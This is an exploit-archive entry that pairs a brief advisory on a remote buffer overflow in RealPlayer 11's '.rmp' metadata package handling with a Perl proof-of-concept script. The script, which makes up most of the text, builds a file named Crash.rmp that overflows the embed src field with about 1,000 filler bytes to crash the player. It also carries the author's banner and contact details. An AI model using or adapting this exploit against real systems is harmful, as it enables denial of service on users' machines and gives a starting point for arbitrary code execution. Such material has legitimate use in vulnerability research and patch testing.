RealPlayer 11 – ‘.rmp’ Remote Buffer Overflow
source: https://www.securityfocus.com/bid/47039/info RealPlayer is prone to a remote buffer-overflow vulnerability because the application fails to perform adequate boundary checks on user-supplied input. Attackers may leverage this issue to execute arbitrary code in the context of the application. Failed attacks will cause denial-of-service conditions. RealPlayer 11.0 is vulnerable; other versions may also be affected. #!/usr/bin/perl ### # Title : RealPlayer v11.0 (.rmp) Buffer Overflow # Author : KedAns-Dz # E-mail : ked-h@hotmail.com # Home : HMD/AM (30008/04300) - Algeria -(00213555248701) # Twitter page : twitter.com/kedans # platform : Windows # Impact : Buffer Overflow # Tested on : Windows XP SP3 Fran.ais # Target : RealPlayer v11.0 ### # Note : BAC 2011 Enchallah ( KedAns 'me' & BadR0 & Dr.Ride & Red1One & XoreR & Fox-Dz ... all ) # ----------------- # XML version : 1.0 in (Real Metadata Package File) # <?xml version="1.0"?> # <embed src="rtsp:// **BUFFER ** " autoplay="whatever" />Null # ----------------- #START SYSTEM /root@MSdos/ : # ----------------- system("title KedAns-Dz"); system("color 1e"); system("cls"); print "\n\n"; print " |============================================================|\n"; print " |= [!] Name : RealPlayer v11.0 Real Metadata Package File =|\n"; print " |= [!] Exploit : Buffer Overflow =|\n"; print " |= [!] Author : KedAns-Dz =|\n"; print " |= [!] Mail: Ked-h(at)hotmail(dot)com =|\n"; print " |============================================================|\n"; sleep(2); print "\n"; # Parameter OverFlow => my $kA = "\x41" x 333 ; # A * 333 my $kB = "\x42" x 333 ; # B * 333 my $kC = "\x43" x 333 ; # C * 333 my $buffer = $kA.$kB.$kC ; my $header = "\x3c\x3f\x78\x6d\x6c\x20\x76\x65\x72\x73\x69\x6f\x6e\x3d\x22\x31". "\x2e\x30\x22\x3f\x3e\x0d\x0d\x3c\x65\x6d\x62\x65\x64\x20\x73\x72". "\x63\x3d\x22\x72\x74\x73\x70\x3a\x2f\x2f".$buffer."\x22\x20\x61\x75\x74\x6f". "\x70\x6c\x61\x79\x3d\x22\x77\x68\x61\x74\x65\x76\x65\x72\x22\x20". "\x2f\x3e\x00"; # Creating ... my $kedans = $header ; # |=:: Header & AAA...BBB...CC etc ::=| open (FILE ,"> Crash.rmp"); # Evil File Here print FILE $kedans ; print "\n [+] File successfully created!\n" or die print "\n [-] OpsS! File is Not Created !! "; close (FILE); |